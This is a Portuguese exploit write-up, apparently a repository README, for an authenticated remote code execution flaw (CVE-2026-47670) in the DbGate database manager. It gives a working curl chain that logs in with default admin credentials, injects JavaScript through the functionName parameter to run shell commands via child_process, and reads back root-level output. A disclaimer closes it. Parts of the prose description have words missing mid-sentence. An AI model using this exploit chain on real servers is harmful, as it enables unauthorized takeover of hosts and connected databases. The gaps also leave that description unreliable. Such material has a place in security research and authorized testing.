
Execução Remota de Código Autenticada via injeção de código em functionName do loadReader no DbGate
Execução Remota de Código Autenticada via injeção de código no parâmetro functionName do loadReader no DbGate
O DbGate é uma ferramenta de código aberto e multiplataforma de gerenciamento de banco de dados, projetada para desenvolvedores e administradores de banco de dados que precisam trabalhar com múltiplos sistemas de banco de dados simultaneamente. Ela fornece uma interface unificada baseada na web e desktop para gerenciar bancos de dados SQL e NoSQL — incluindo MySQL, PostgreSQL, SQL Server, MongoDB, SQLite, Oracle e outros — sem alternar entre diferentes aplicativos clientes. O DbGate funciona como um aplicativo desktop autônomo no Windows, macOS e Linux, ou pode ser implantado como um aplicativo web via Docker, tornando-o popular para ambientes de equipe e cenários remotos de administração de banco de dados.
CVE-2026-47670 é uma vulnerabilidade de Execução Remota de Código (RCE) autenticada que afeta versões do DbGate anteriores à 7.1.9. A falha existe no endpoint /runners/load-reader, onde o parâmetro é passado para um caminho de execução de código inseguro sem sanitização adequada. Um atacante com credenciais válidas do DbGate pode injetar código JavaScript arbitrário por meio desse parâmetro, que é no servidor com . A vulnerabilidade é particularmente perigosa porque a mitigação do aplicativo pode ser trivialmente contornada usando declarações dinâmicas , permitindo que atacantes , , façam pivô para servidores de banco de dados conectados ou comprometam totalmente o sistema host.
functionNamerequire = nullimport()# Step 1 — authenticate and obtain Bearer token
curl -s -X POST http://example.com/auth/login \
-H 'Content-Type: application/json' \
-d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken
# RESPONSE
# ========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}
# Step 2 — inject via functionName (replace TOKEN and /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'
# RESPONSE
# ========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}
# Step 3 — read back command output
curl -s -X POST http://example.com/jsldata/get-rows \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'
# RESPONSE
# ========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]
python CVE-2026-47670-X7.py
Este repositório e seu conteúdo são fornecidos estritamente para pesquisa de segurança legítima, testes de penetração autorizados, estudo educacional e fins defensivos. Ao acessar ou usar este material, você reconhece total responsabilidade por garantir que suas atividades estejam em conformidade com todas as leis aplicáveis e que você tenha obtido autorização adequada antes de testar ou aplicar essas técnicas em qualquer sistema que não possua.
Os autores e mantenedores deste projeto não assumem nenhuma responsabilidade por danos, consequências legais ou uso indevido resultantes da aplicação dessas informações. Qualquer uso para acesso não autorizado, atividade maliciosa ou fins ilegais é expressamente proibido e não suportado.
Use com responsabilidade. Permaneça dentro da lei. Teste apenas o que você possui ou para o qual tenha permissão explícita por escrito.
SCT-PL